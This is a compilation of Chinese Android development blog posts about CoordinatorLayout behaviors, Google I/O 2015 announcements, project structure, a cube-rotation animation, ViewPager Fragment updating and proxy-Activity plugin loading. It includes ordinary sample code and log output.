javapublic void onStopNestedScroll(CoordinatorLayout coordinatorLayout, AppBarLayout child, View target) 



这几个方法是不是特别熟悉？我在Android嵌套滑动机制（NestedScrolling） 介绍过，这几个方法刚好是NestedScrollingParent的方法，也就是对CoodinatorLayout进行的一个代理（Proxy），即CoordinatorLayout自己不对这些消息进行处理，而是传递给子view的Behavior，进行处理。利用这样的方法，实现了view和view之间的交互和视觉的协同（布局、滑动）。


总结


可以看到CoodinatorLayout给我们实现了一个可以被子view代理实现方法的一个布局。这和传统的ViewGroup不同，子view从此知道了彼此之间的存在，一个子view的变化可以通知到另一个子view。CoordinatorLayout所做的事情就是当成一个通信的桥梁，连接不同的view。使用Behavior对象进行通信。


我们具体的实现可以参照 Android官方文档告诉我们的每一个方法的作用 进行重写，实现自己想要的各种复杂的功能。
https://developer.android.com/reference/android/support/design/widget/...

有了这么一套机制，想实现组件之间的交互，就更加方便快捷啦~
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Google I/O 2015 都看了吧？

因为某些原因：加班、没梯子、陪家人、要考试、或者忙着恢复数据库，肯定有人没看。

当然，肯定也有人今天也没时间重新看时长两个小时的 Google I/O。

于是，只花费十分钟的时间，编者带你看懂今年的 Google I/O 大会。





好啦，英文好的可以直接戳这里，不需要梯子；英语不好的，可以跟着编者继续走下去。


还是这位大哥开场：



简而言之，Google I/O 2015 一共有三个焦点：Android M，Android Anywhere，虚拟现实。


Android M


Android M 是整个大会的重中之重，也是和普通人最息息相关的部分。

Android M 还没有正式发布，Google I/O 大会上发布的仅仅是开发者预览版，其意义在于演示新特性、发布新版本并将新版提交开发者进行开发和测试，预计国外将会在今年末用上 Android M，国内则会在明年 3-5 月用上 Android M。然后编者掂了掂手里 Android L 跳票一个月的 MX4……


简单来说，Android M 是继续对 Android 的优化，但是不仅仅是优化。


从界面上看，Android M 和它的前辈 Android L 很相似，但是实际上，Android M 引入了六个新特性：


更好地管理应用权限


Android M 之前也提供过软件的应用权限管理功能，例如定位、监听听话状态等，不过这些都是在你安装应用的时候就给出提示是否赋予软件这些权限。在 Android M 中，这些得到了优化：安装软件时不需要再去一个一个去选权限，而是在软件用得到的时候，再去提示软件是否有权定位、有权访问日历和相册。





Chrome 模式


以往的 APP 调用浏览器，要么是和微信一样，调用内置浏览器，要么是调用系统浏览器，要么是使用软件提供的可能连后退按键都没有的浏览器。为了解决这个问题，Google 提供了一个解决方案：Chrome Custom Tabs。这个解决方案解决了第三方 APP 调用浏览器的体验问题，例如缓存和预加载（preload certain elements），同时顺带解决了第三方 APP 自带浏览器无法自动填充密码的问题。


APP 链接（APP LINKS）


APP LINKS 不是 Google 的原创，而是 Facebook 提出的协议。

在本次大会中现场演示了这个协议：点击电子邮件中的 Twitter 链接，会自动调用 Twitter 应用。


电池使用优化以及 USB-C


上次的 Android L 也是在致力于解决耗电问题，本次发布的 Android M 同样不例外。在这次的大会中，Google 公布了一项名叫 Doze 的省电技术。通过对消息的分级和运动检测等，电源管理更加智能。同样是待机模式下的 Nexus 9，Android M 比 Android L 待机时间长两倍。


本次发布的 Android M 同样支持 USB Type-C。


更加智能的 Google Now


Google Now 的目标就是在整个系统中实现完全智能。

本次发布可一个全新的功能：Now on Tap。

当收到一封关于看电影的邮件邀约时，长按 Home键，手机会自动在日历中记录看电影电影时间、电影名称，甚至会自动跳出 Youtube 的电影预告片、电影评级以及其他相关信息。

同时，在使用 Spotify 听 Skrillex 的歌的可以直接问“他是的原名是什么”，而不用加上艺名：“Skrillex 的原名是什么”。





新的图片应用以及免费在线存储空间


当然了，国内是享用不到在线空间了，不过简单介绍一下：


如果你喜欢在手机里存上千张图片，那么这个新应用可能正符合你的需求。

新的图片应用可以按照时间自动整理图片，但是同时自动识别图片并给图片加上标签信息，例如：“海滩”，“羊驼”。同时，Google Photos 是一个跨平台的应用，可以很方便地在不同设备上共享照片。


它可以将用户拍照后的照片自动分类并进行归纳整理，通过时间或者图像识别人物关系的紧密程度对照片进行分类保存。同时这是一个跨平台的应用，并且完全免费，用户可以随时随地不受限制的上传自己的照片以及视频到云端，并通过Google Photos在不同的设备上实现照片共享。。


同时，也提供了新的分享界面。


离线地图和针对中国网络的优化





本次大会并没有提到中国的手机网络，而是提到了发展中国家。很多发展中国家网络条件并不太乐观，存在数据流量费用高、网络速度慢等问题。Android 中的 Chrome 将会通过智能算法减少下载图片，并且提供离线页面的功能。

同时，Google 地图也会提供离线功能。当然，离线的 Google 地图仍然可以使用搜索，地区点评以及语音导航功能。


Android Studio 1.3


Android 1.3 有一个振奋人心的新功能，原生支持 NDK 开发。NDK 插件基于 JetBrains CLion，开发者可以免费使用。


Android everywhere


Android 并不仅仅可以做成手机，也可以做成手环，做成智能家居，做智能支付等等等等。


Android Wear





Android Wear 上次便已发布，本次 Android Wear 的手机系统除了为了载入应用而进行重新设计启动器外，更是增加了几个重量级的 APP，包括快捷 Uber 打车功能等。全新的 Android Wear 拥有更加智能化的操作方式和更加智能的休眠管理功能。同样也有很多细节更新，例如 emoji 表情自动识别和转换。


Brillo





基于 Android 开发，Brillo 是谷歌专为物联网平台打造的底层操作系统。Brillo 可以得到蓝牙、WiFi 等技术支持，能耗低，安全系数高。

Weave 可以让物联网设备之间进行交流。它具有跨平台、API 开放等特性。锁门的时候，Weave 能够帮助家中的灯泡、空调等设备自动感知并关闭掉电源。


Android 支付


Android 支付是一个开放性平台，支持 4.4 （KitKat）以后系统的 NFC 设备，同样支持应用支付。用户就可以选择谷歌的服务或者使用银行的 APP。同时为了支付安全性，Google会开发官方的指纹识别功能。





HBO NOW


HBO NOW 是 Google TV 应用，然而和国内关系并，甚至可以说是并没有什么卵用。HBO 是一个可以在 Android 上看电视的应用，然而，因为有过 HBO警告美国境外付费收看HBO Now客户 的事情，所以不要期待太多。


虚拟现实


上次的大会，谷歌就为每个在场的用户提供了一个 Cardboard，本次大会，Google 更是带来了更多炫酷的功能。


兼容 iPhone 的 Google Cardboard


最近的手机越做越大，于是 Google 也提供了最大达六英寸的 Cardboard，同样提供了 iPhone 版，也正在开发支持 Android iOS 双系统的 SDK。Android 上已经有 Cardboard（谷歌纸盒）可以尝鲜。


Cardboard 非常便宜，国外价格不到十美元，但是……

希望大家不要盲目相信美国物价表。


另外，编者提醒大家，大部分手机即便是将背景光调到最弱，在黑暗的环境中仍然刺眼，Google Cardboard 又是把手机放到眼睛前不到十厘米的位置，所以目前大家一定要注意避免长时间使用。





虚拟现实相机


为了让每个人都可以制作自己的虚拟现实情景，Google 推出了 Jump 拍摄工具。GoPro 已经加入这个项目。通过 GoPro 定制的相机拍摄的图片，经过 Jump 处理后，会生成非常逼真的虚拟现实情景。据介绍，今年夏天开始，Google 将会挑选实验者体验 Jump。





图片来自 163、sohu 和 TNW news。

部分内容来自 The 12 most important announcements from Google I/O 2015
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上一篇文章，我们讲了如何创建一个工程，以及Android工程的一些基本概念，把工程创建出来后，我们看下文件目录结构，一个简单的工程结构如下。




其实这个目录结构初次看还是挺让人心慌慌的。
Android现在引入了一个构建系统叫做Gradle，你可以理解为一个C/C++里面的Makefile 或者是node里面的gulp。


Android Studio里面是分模块进行开发的，一个app可以只有一个模块，也可以有多个模块组成（比如一些自己开发的库）。如果我们的应用足够简单的话，那么就只有一个模块，Android Studio默认创建的模块就叫app，可以看见，文件夹旁边还有个小手机的标志，代表这是一个Android Application模块，而不是一个Android Library或者是其他模块。


看看我们的代码应该放哪，我们把注意力集中在这个文件夹



src是source的意思，也就是源码所在的目录，我们主要就是在这个文件夹里写东西。


Main在哪？


我们来看看，我们要的Main函数在哪里？

首先我们看src/main目录下的AndroidManifest.xml文件。





AndroidManifest 是描述App的一个最最重要的文件，一些内容的定义，主题的设置都在这里，如果熟悉node的朋友肯定知道package.json，一样一样的。


我们看到下图，在AndroidManifest中，出现的MAIN和LAUNCHER字眼，Activity有了他们两个的描述，它就成了你点击app的icon启动的第一个Activity。



在src/main/java文件夹中，找到MainActivity，打开，看见其中有一个onCreate的函数




顾名思义，这个函数是在这个Activity创建的时候调用的，它首先调用了下父类的onCreate方法（不可省略），然后调用了setContentView方法，这个方法是告诉Android系统：我用哪个布局文件去渲染这个Activity，好了，到这里一个入口的Activity就创建好了。


注：在Android系统中，Activity类的对象不是用来给开发者直接去new的，它的生命周期由系统直接管控因为我们不参与控制Activity的生命周期，因此它在什么时候回调什么函数变得异常重要。学习编程最好的去处就是官方文档，如果想更加深入了解Android Activity生命周期的童鞋，我这里推荐看下官方对它的描述 传送门：http://developer.android.com/training/basics/activity-lifecycle/index....


界面如何自定义？


接下来说说Android中的布局系统，众所周知，Android一开始的设计就是为了相对布局而生的。它提供了许多强大的布局特性，我们先学习下Android中最常见的两种布局：



  
	线性布局（LinearLayout）

  	相对布局（RelativeLayout）

  




线性布局就是子控件按顺序依次排列，线性布局可以设置方向，从上到下（vertical）或者从左到右（horizontal）。

相对布局就更自由了，如果你增加一个子控件，不设置任何属性，则子空间的位置在容器的左上角(0,0)处。如果想改变位置，可以通过在容器中的位置（比如左上，右上，左下，右下，中间，左对齐垂直居中，右对齐垂直居中等等），或者和兄弟结点的对齐方式来决定控件的位置。


布局相关的参考可以看这个链接：http://developer.android.com/training/basics/firstapp/building-ui.html


如何和控件交互


在Activity中，和xml相关的绑定在setContentView这步就算完成了。Activity在这之后会回调一个叫onContentChanged方法，在这个方法中，你可以使用类似如下代码：


TextView textView = findViewById(R.id.textview);



来获得对指定控件的引用，其中R.id.textview是你在xml中指定的android:id，通常情况下，在一个xml文件中，同样的id只允许出现一次。

获取到对控件的引用，我们就能调用一些控件里的方法获取我们要的内容，或者设置我们要的内容，比如我这里引用了一个TextView，则可以如下：


textView.getText()



获取到textView里面的内容。


以上就是最基础的UI部分的入门讲解。接下去，我们可以看看要写的App的整个结构。



  本文提到的项目源码地址：https://github.com/geminiwen/tudounotepad

  欢迎留言Github或者@geminiwen




 Android 实现一个立方体旋转效果

作者：Gemini

来源： Android 实现一个立方体旋转效果



                    
好久不见~

今天我们来看看如何实现一个立方体翻转的效果，如图



看上去很麻烦，实际上实现起来还是蛮轻松的。
这里我们使用到的有两个类。


	android.graphic.Camera 这是在图像学概念里的摄像机，这是一个透视摄像机。


	android.graphic.Matrix 矩阵，用来表示图像的变化。




头疼的钻研路开始

我们先从摄像头上的角度分析：
正常情况下，我们是这么看画面的（那个电池一样的东西就当是摄像头吧）


我们要产生立方体的效果，那逻辑上应该是这么看：


Camera提供了几个接口，我们这使用到的接口有两个：


	Rotate    旋转


	Translate 平移




这两个函数的操作都对画布的！
这里我们首先要有2个View。xml结构入下：

<cn.geminiwen.canvassupport.view.SplashLayout
        android:text="@string/hello_world"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:background="#000" >
        <RelativeLayout
            android:layout_width="match_parent"
            android:layout_height="match_parent"
            android:background="#f00">
        </RelativeLayout>
        <RelativeLayout
            android:layout_width="match_parent"
            android:layout_height="match_parent"
            android:background="#0f0">
        </RelativeLayout>
</cn.geminiwen.canvassupport.view.SplashLayout>

SplashLayout就是我的自定义布局，用来绘制立方体效果的布局。

我们把第一个view作为backgroundView，第二个View作为foregroundView，使得效果是从backgroundView翻转到foregroundView。

具体代码入下：

private void cube(Canvas canvas, double interpolation) {
        View foregroundView = getChildAt(0);
        View backgroundView = getChildAt(1);
        int width = getWidth();
        int height = getHeight();
        long drawingTime = getDrawingTime();
        float rotate;

        //begin drawForeground
        rotate = (float)(- sFinalDegree * interpolation);
        mCamera.save();
        mCamera.translate((float)(width - interpolation * width), 0, 0);
        mCamera.rotateY(rotate);
        mCamera.getMatrix(mMatrix);
        mCamera.restore();

        mMatrix.postTranslate(0, height / 2);
        mMatrix.preTranslate(-width, -height / 2);
        canvas.save();
        canvas.concat(mMatrix);
        drawChild(canvas, foregroundView, drawingTime);
        canvas.restore();
        //end drawForeground



        //draw Background
        rotate = (float)(sFinalDegree - sFinalDegree * interpolation);
        mCamera.save();
        mCamera.translate((float)(-width * interpolation), 0, 0);
        mCamera.rotateY(rotate);
        mCamera.getMatrix(mMatrix);
        mCamera.restore();

        mMatrix.postTranslate(width, height / 2);
        mMatrix.preTranslate(0, -height / 2);
        canvas.save();
        canvas.concat(mMatrix);
        drawChild(canvas, backgroundView, drawingTime);
        canvas.restore();
        //end draw Background

    }

这段代码放到ViewGroup的dispatchDraw方法里即可，因为ViewGroup只能在dispatchDraw方法中绘制子视图。
其中，canvas代表画布，interpolation代表动画从0.0 到 1.0 的过程，方便插入器的使用。

这里来解释下我们的过程。

View状态变换

起始状态background是这样的：


	绕Y轴正方向转90度


	画布x轴移动到width的位置。




可以参照上图中的画布2的状态。

终点状态是这样：


	绕Y轴正方向0度。


	画布x轴移动到0的位置。




可以参考上图中的画布的状态。

旋转问题

综上所述，我们设置转动角度sFinalDegree为90。
interpolation从0到1的过程，
background的rotate就变成了从90到0的过程。

平移问题

这时候我们考虑平移的情况，这个情况会比较复杂，因为我们这里有两种平移方式，平移摄像机或者直接平移画布。

这里我们说下区别，如果移动摄像机，会导致图像的投影发生变化，举个例子：
比如我们已经在投影上绕Y轴旋转90度，如果移动X轴的话，看如下图的区别：

1、未平移摄像机



2、平移摄像机


从图上我们知道，这个旋转过的画布的前端和后端我们都是可以看见的，这当然不符合我们要求，那么我们直接平移画布是什么意思呢？

我们知道对摄像机做了操作之后，应用到画布上，实际是画一个画布的投影，直接移动画布的话，就是改变其坐标系系统，达到效果，我们可以理解为同时对摄像机和view进行平移，最终达到的效果就是摄像头相对view的位置和1一样，但是我们的画布却平移了，这就达到了我们最终的要求。

我们看代码虽然我们平移的是画布，但是我们平移的过程中确是使用移动摄像机的方式来绘制投影，这又是为什么呢？

我们从三角函数的投影来解释这个问题。
首先看见我平移摄像头的方式是线性的，也就是y=kt这种方式，斜率一定，也就是随着时间变化，我平移的距离是线性增加的。那么考虑旋转的时候的投影情况：
被旋转的角就是角a，我们的画布长为width，那么画布的投影长度为 
width * cos(a)

它是一个三角函数。变化趋势先快后慢，因此我们在旋转过程中会看见右边露出背景，造成视觉上的不友好，怎么解决这个问题呢？ 

这时候就借助我们的摄像机平移的投影方式。



这里绿色的线是我们的投影线，它的投影长度比cos(a) * width要长很多，因此它就可以让我们在旋转过程中不产生黑边，给人视觉上的饱满感，会让我们的视觉效果好很多。

我们的foregroundView就是一个backgroundView的逆向过程，因此使用类似的代码，然后假设interpolation是从1-0的过程即可，同时它的坐标系整体要往左移动一个屏幕。

总结

做UI的效果，特别需要一些比较好的数据基础，在图像处理中，搞清楚透视、矩阵的一些计算方式和概念非常重要，今天我们介绍了利用Camera来进行辅助我们进行矩阵的计算。

源码

demo已经放在github上
demo已经放在github上
demo已经放在github上
https://github.com/geminiwen/AndroidCubeDemo 欢迎star 欢迎fork！




 如何更新及替换ViewPager中的Fragment

作者：li21

来源： 如何更新及替换ViewPager中的Fragment



                    
How to update and replace fragment in viewpager?

ListView的工作原理

在了解ViewPager的工作原理之前，先回顾ListView的工作原理：


	ListView只有在需要显示某些列表项时，它才会去申请可用的视图对象；如果为所有的列表项数据创建视图对象，会浪费内存；


	ListView找谁去申请视图对象呢？ 答案是adapter。adapter是一个控制器对象，负责从模型层获取数据，创建并填充必要的视图对象，将准备好的视图对象返回给ListView；


	首先，通过调用adapter的getCount()方法，ListView询问数组列表中包含多少个对象（为避免出现数组越界的错误)；紧接着ListView就调用adapter的getView(int, View, ViewGroup)方法。






ViewPager某种程度上类似于ListView，区别在于：ListView通过ArrayAdapter.getView(int position, View convertView, ViewGroup parent)填充视图；ViewPager通过FragmentPagerAdapter.getItem(int position)生成指定位置的fragment.

而我们需要关注的是:

ViewPager和它的adapter是如何配合工作的？

声明：本文内容针对android.support.v4.app.*
ViewPager有两个adapter：FragmentPagerAdapter和FragmentStatePagerAdapter：

	android.support.v4.app.FragmentPagerAdapter




继承自android.support.v4.view.PagerAdapter，每页都是一个Fragment，并且所有的Fragment实例一直保存在Fragment manager中。所以它适用于少量固定的fragment，比如一组用于分页显示的标签。除了当Fragment不可见时，它的视图层（view hierarchy）有可能被销毁外，每页的Fragment都会被保存在内存中。（翻译自代码文件的注释部分）



	android.support.v4.app.FragmentStatePagerAdapter




继承自android.support.v4.view.PagerAdapter，每页都是一个Fragment，当Fragment不被需要时（比如不可见），整个Fragment都会被销毁，除了saved state被保存外（保存下来的bundle用于恢复Fragment实例）。所以它适用于很多页的情况。（翻译自代码文件的注释部分）



它俩的子类，需要实现getItem(int) 和 android.support.v4.view.PagerAdapter.getCount().

先通过一段代码了解ViewPager和FragmentPagerAdapter的典型用法

稍后做详细分析：

  // Set a PagerAdapter to supply views for this pager.
  ViewPager viewPager = (ViewPager) findViewById(R.id.my_viewpager_id);
  viewPager.setAdapter(mMyFragmentPagerAdapter);
 
  private FragmentPagerAdapter mMyFragmentPagerAdapter = new FragmentPagerAdapter(getSupportFragmentManager()) {
    @Override
    public int getCount() {
      return 2; // Return the number of views available.
    }
 
    @Override
    public Fragment getItem(int position) {
      return new MyFragment(); // Return the Fragment associated with a specified position.
    }
 
    // Called when the host view is attempting to determine if an item's position has changed.
    @Override
    public int getItemPosition(Object object) {
      if (object instanceof MyFragment) {
        ((MyFragment)object).updateView();
      }
      return super.getItemPosition(object);
    }
  };
 
  private class MyFragment extends Fragment {
    @Override
    public void onCreate(Bundle savedInstanceState) {
      super.onCreate(savedInstanceState);
      // do something such as init data
    }
 
    @Override
    public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
      View view = inflater.inflate(R.layout.fragment_my, container, false);
      // init view in the fragment
      return view;
    }
 
    public void updateView() {
      // do something to update the fragment
    }
  }

FragmentPagerAdapter和FragmentStatePagerAdapter对Fragment的管理略有不同，在详细考察二者区别之前，我们通过两种较为直观的方式先感受下：

通过两张图片直观的对比FragmentPagerAdapter和FragmentStatePagerAdapter的区别

说明：这两张图片来自于《Android权威编程指南》，原图有3个Fragment，我增加了1个Fragment，以及被调到的方法。
FragmentPagerAdapter的Fragment管理：


FragmentStatePageAdapter的Fragment管理：


详细分析 adapter method和fragment lifecycle method 的调用情况

好啦，感受完毕，我们需要探究其详情，梳理adapter创建、销毁Fragment的过程，过程中adapter method和fragment lifecycle method哪些被调到，有哪些一样，有哪些不一样。

最开始处于第0页时，adapter不仅为第0页创建Fragment实例，还为相邻的第1页创建了Fragment实例：

// 刚开始处在page0
D/Adapter (25946): getItem(0)
D/Fragment0(25946): newInstance(2015-09-10)  // 注释：newInstance()调用了Fragment的构造器方法，下同。
D/Adapter (25946): getItem(1)
D/Fragment1(25946): newInstance(Hello World, I'm li2.)
D/Fragment0(25946): onAttach()
D/Fragment0(25946): onCreate()
D/Fragment0(25946): onCreateView()
D/Fragment1(25946): onAttach()
D/Fragment1(25946): onCreate()
D/Fragment1(25946): onCreateView()

第1次从第0页滑到第1页，adapter同样会为相邻的第2页创建Fragment实例；

// 第1次滑到page1
D/Adapter (25946): onPageSelected(1)
D/Adapter (25946): getItem(2)
D/Fragment2(25946): newInstance(true)
D/Fragment2(25946): onAttach()
D/Fragment2(25946): onCreate()
D/Fragment2(25946): onCreateView()

FragmentPagerAdapter和FragmentStatePagerAdapter齐声说：呐，请主公贰放心，属下定会为您准备好相邻的下一页视图哒！么么哒！



它俩对待下一页的态度是相同的，但对于上上页，它俩做出了不一样的事情：

FragmentPagerAdapter说：上上页的实例还保留着，只是销毁了它的视图：



// 第N次（N不等于1）向右滑动选中page2
D/Adapter (25946): onPageSelected(2)
D/Adapter (25946): destroyItem(0)  // 销毁page0的视图
D/Fragment0(25946): onDestroyView()
D/Fragment3(25946): onCreateView()  // page3的Fragment实例仍保存在FragmentManager中，所以只需创建它的视图

FragmentStatePagerAdapter说：上上页的实例和视图都被俺销毁啦：



// 第N次（N不等于1）向右滑选中page2
D/Adapter (27880): onPageSelected(2)
D/Adapter (27880): destroyItem(0)  // 销毁page0的实例和视图
D/Adapter (27880): getItem(3)  // 创建page3的Fragment
D/Fragment3(27880): newInstance()
D/Fragment0(27880): onDestroyView()
D/Fragment0(27880): onDestroy()
D/Fragment0(27880): onDetach()
D/Fragment3(27880): onAttach()
D/Fragment3(27880): onCreate()
D/Fragment3(27880): onCreateView()

Fragment getItem(int position)

// Return the Fragment associated with a specified position.
public abstract Fragment getItem(int position);

当adapter需要一个指定位置的Fragment，并且这个Fragment不存在时，getItem就被调到，返回一个Fragment实例给adapter。
所以，有必要再次强调，getItem是创建一个新的Fragment，但是这个方法名可能会被误认为是返回一个已经存在的Fragment。
对于FragmentPagerAdapter，当每页的Fragment被创建后，这个函数就不会被调到了。对于FragmentStatePagerAdapter，由于Fragment会被销毁，所以它仍会被调到。
由于我们必须在getItem中实例化一个Fragment，所以当getItem()被调用后，Fragment相应的生命周期函数也就被调到了：

D/Adapter (25946): getItem(1)
D/Fragment1(25946): newInstance(Hello World, I'm li2.)  // newInstance()调用了Fragment的构造器方法；
D/Fragment1(25946): onAttach()
D/Fragment1(25946): onCreate()
D/Fragment1(25946): onCreateView()

void destroyItem(ViewGroup container, int position, Object object)

// Remove a page for the given position. 
public void FragmentPagerAdapter.destroyItem(ViewGroup container, int position, Object object) {
    mCurTransaction.detach((Fragment)object);
}

public void FragmentStatePagerAdapter.destroyItem(ViewGroup container, int position, Object object) {
    mSavedState.set(position, mFragmentManager.saveFragmentInstanceState(fragment));
    mFragments.set(position, null);
    mCurTransaction.remove(fragment);
}

销毁指定位置的Fragment。从源码中可以看出二者的区别，一个detach，一个remove，这将调用到不同的Fragment生命周期函数：

// 对于FragmentPagerAdapter
D/Adapter (25946): onPageSelected(2)
D/Adapter (25946): destroyItem(0)
D/Fragment0(25946): onDestroyView()  // 销毁视图

// 对于FragmentStatePagerAdapter
D/Adapter (27880): onPageSelected(2)
D/Adapter (27880): destroyItem(0)
D/Fragment0(27880): onDestroyView()  // 销毁视图
D/Fragment0(27880): onDestroy()  // 销毁实例
D/Fragment0(27880): onDetach()

FragmentPagerAdapter和FragmentStatePagerAdapter对比总结


二者使用方法基本相同，唯一的区别就在卸载不再需要的fragment时，采用的处理方式不同：


	使用FragmentStatePagerAdapter会销毁掉不需要的fragment。事务提交后，可将fragment从activity的FragmentManager中彻底移除。类名中的“state”表明：在销毁fragment时，它会将其onSaveInstanceState(Bundle) 方法中的Bundle信息保存下来。用户切换回原来的页面后，保存的实例状态可用于恢复生成新的fragment.


	FragmentPagerAdapter的做法大不相同。对于不再需要的fragment，FragmentPagerAdapter则选择调用事务的detach(Fragment) 方法，而非remove(Fragment)方法来处理它。也就是说，FragmentPagerAdapter只是销毁了fragment的视图，但仍将fragment实例保留在FragmentManager中。因此， FragmentPagerAdapter创建的fragment永远不会被销毁。




(摘抄自《Android权威编程指南11.1.4》)



更新ViewPager中的Fragment

调用notifyDataSetChanged()时，2个adapter的方法的调用情况相同，当前页和相邻的两页的getItemPosition都会被调用到。

// Called when the host view is attempting to determine if an item's position has changed. Returns POSITION_UNCHANGED if the position of the given item has not changed or POSITION_NONE if the item is no longer present in the adapter.
public int getItemPosition(Object object) {
    return POSITION_UNCHANGED;
}

从网上找到的解决办法是，覆写getItemPosition使其返POSITION_NONE，以触发Fragment的销毁和重建。可是这将导致Fragment频繁的销毁和重建，并不是最佳的方法。
后来我把注意力放在了入口参数object上，"representing an item", 实际上就是Fragment，只需要为Fragment提供一个更新view的public方法：

@Override
// To update fragment in ViewPager, we should override getItemPosition() method,
// in this method, we call the fragment's public updating method.
public int getItemPosition(Object object) {
    Log.d(TAG, "getItemPosition(" + object.getClass().getSimpleName() + ")");
    if (object instanceof Page0Fragment) {
        ((Page0Fragment) object).updateDate(mDate);
    } else if (object instanceof Page1Fragment) {
        ((Page1Fragment) object).updateContent(mContent);
    } else if (object instanceof Page2Fragment) {
        ((Page2Fragment) object).updateCheckedStatus(mChecked);
    } else if (...) {
    }
    return super.getItemPosition(object);
};

// 更新界面时方法的调用情况
// 当前页为0时
D/Adapter (21517): notifyDataSetChanged(+0)
D/Adapter (21517): getItemPosition(Page0Fragment)
D/Fragment0(21517): updateDate(2015-09-12)
D/Adapter (21517): getItemPosition(Page1Fragment)
D/Fragment1(21517): updateContent(Hello World, I am li2.)

// 当前页为1时
D/Adapter (21517): notifyDataSetChanged(+1)
D/Adapter (21517): getItemPosition(Page0Fragment)
D/Fragment0(21517): updateDate(2015-09-13)
D/Adapter (21517): getItemPosition(Page1Fragment)
D/Fragment1(21517): updateContent(Hello World, I am li2.)
D/Adapter (21517): getItemPosition(Page2Fragment)
D/Fragment2(21517): updateCheckedStatus(true)

在最开始调用notifyDataSetChanged试图更新Fragment时，我是这样做的：用arraylist保存所有的Fragment，当需要更新时，就从arraylist中取出Fragment，然后调用该Fragment的update方法。这种做法非常鱼唇，当时完全不懂得adapter的Fragment manager在替我管理所有的Fragment。而我只需要：


	覆写getCount告诉adapter有几个Fragment；


	覆写getItem以实例化一个指定位置的Fragment返回给adapter；


	覆写getItemPosition，把入口参数强制转型成自定义的Fragment，然后调用该Fragment的update方法以完成更新。




只需要覆写这几个adapter的方法，adapter会为你完成所有的管理工作，不需要自己保存、维护Fragment。

替换ViewPager中的Fragment

应用场景可能是这样，比如有一组按钮，Day/Month/Year，有一个包含几个Fragment的ViewPager。点击不同的按钮，需要秀出不同的Fragment。
具体怎么实现，请参考下面的代码：
github.com/li2/Update_Replace_Fragment_In_ViewPager/ContainerFragment.java

一些误区

ViewPager.getChildCount() 返回的是当前ViewPager所管理的没有被销毁视图的Fragment，并不是所有的Fragment。想要获取所有的Fragment数量，应该调用ViewPager.getAdapter().getCount().

一个Demo

为了总结ViewPager的用法，以及写这篇笔记，我写了一个demo，你可以从这里获取它的源码 github.com/li2/

这一张gif图片，演示了一个包含4个Fragment的ViewPager，通过上面的date+-1 button、EditText、Checkbox来更新前3个Fragment的界面；最后一个Fragment嵌套着2个Fragment，通过ToggleButton来切换。


这一张gif演示了切换ViewPager页以及更新Fragment时，相关的方法调用。通过一个ScrollView和TextView展示出来。
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这个stackoverflow问答给出了两种更新Fragment的方法，非常好。


	HowTo: ListView, Adapter, getView and different list items’ layouts in one ListView | Android Tales
这篇博文详细地解释了ListView和它的Adapter是如何配合工作的，以及实现不同的listitem layout. 非常好。


	android - R etrieve a fragment from ViewPager - Stack Overflow
这个statckoverflow问答讨论怎样从ViewPager中获取一个Fragment，但我目前还不知道拿到Fragment要做什么。


	android Fragments详解四:管理fragment - nkmnkm的csdn博客
这是一篇翻译文章。


	这些博文、问答的思路类似，讨论Fragment的tag，通过一个list<String> 存储所有Fragment的tag，然后再adapter里通过fm.findFragmentByTag获取Fragment，然后调用Fragment的update方法更新；
或者是通过一个list<Fragment>自己来管理所有的Fragment：




ViewPager Fragment 数据更新问题 - shadow066的csnd专栏
关于ViewPager的数据更新问题小结 - leo8573的csdn专栏
Viewpager+fragment数据更新问题解析 | 姜糖水
android - How to get existing fragments when using FragmentPagerAdapter - Stack Overflow
android - Retrieve a Fragment from a ViewPager - Stack Overflow
[android - support FragmentPagerAdapter holds reference to old fragments - Stack Overflow](
http://stackoverflow.com/questions/97271...
其中，这个问题的答案解释的特别好：However, the ones that are added to the fragment manager now are NOT the ones you have in your fragments list in your Activity. 企图这样更新界面是行不通的：pagerAdapter.getItem(1)).update(id, name)


	android - Display fragment viewpager within a fragment - Stack Overflow
Fragment里有一个ViewPager，ViewPager里有多个Fragment.


	这些是Android Fragment相关的源码文件：
Android源码仓库




android.support.v4.app.Fragment
android.support.v4.view.PagerAdapter
android.support.v4.app.FragmentPagerAdapter
android.support.v4.app.FragmentStatePagerAdapter



版权声明：《如何更新及替换ViewPager中的Fragment？》由 WeiYi.Li 在 2015年09月13日写作。著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。 
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技术背景

简单模式中，使用ClassLoader加载外部的Dex或Apk文件，可以加载一些本地APP不存在的类，从而执行一些新的代码逻辑。但是使用这种方法却不能直接启动插件里的Activity。

启动没有注册的Activity的两个主要问题

Activity等组件是需要在Manifest中注册后才能以标准Intent的方式启动的（如果有兴趣强烈推荐你了解下Activity生命周期实现的机制及源码），通过ClassLoader加载并实例化的Activity实例只是一个普通的Java对象，能调用对象的方法，但是它没有生命周期，而且Activity等系统组件是需要Android的上下文环境的（Context等资源），没有这些东西Activity根本无法工作。

使用插件APK里的Activity需要解决两个问题：


	如何使插件APK里的Activity具有生命周期；


	如何使插件APK里的Activity具有上下文环境（使用R资源）；




代理Activity模式为解决这两个问题提供了一种思路。

代理Activity模式

这种模式也是我们项目中，继“简单动态加载模式”之后，第二种投入实际生产项目的开发方式。

其主要特点是：主项目APK注册一个代理Activity（命名为ProxyActivity），ProxyActivity是一个普通的Activity，但只是一个空壳，自身并没有什么业务逻辑。每次打开插件APK里的某一个Activity的时候，都是在主项目里使用标准的方式启动ProxyActivity，再在ProxyActivity的生命周期里同步调用插件中的Activity实例的生命周期方法，从而执行插件APK的业务逻辑。

ProxyActivity + 没注册的Activity = 标准的Activity



下面谈谈代理模式是怎么处理上面提到的两个问题的。

处理插件Activity的生命周期

目前还真的没什么办法能够处理这个问题，一个Activity的启动，如果不采用标准的Intent方式，没有经历过Android系统Framework层级的一系列初始化和注册过程，它的生命周期方法是不会被系统调用的（除非你能够修改Android系统的一些代码，而这已经是另一个领域的话题了，这里不展开）。

那把插件APK里所有Activity都注册到主项目的Manifest里，再以标准Intent方式启动。但是事先主项目并不知道插件Activity里会新增哪些Activity，如果每次有新加的Activity都需要升级主项目的版本，那不是本末倒置了，不如把插件的逻辑直接写到主项目里来得方便。

那就绕绕弯吧，生命周期不就是系统对Activity一些特定方法的调用嘛，那我们可以在主项目里创建一个ProxyActivity，再由它去代理调用插件Activity的生命周期方法（这也是代理模式叫法的由来）。用ProxyActivity（一个标准的Activity实例）的生命周期同步控制插件Activity（普通类的实例）的生命周期，同步的方式可以有下面两种：


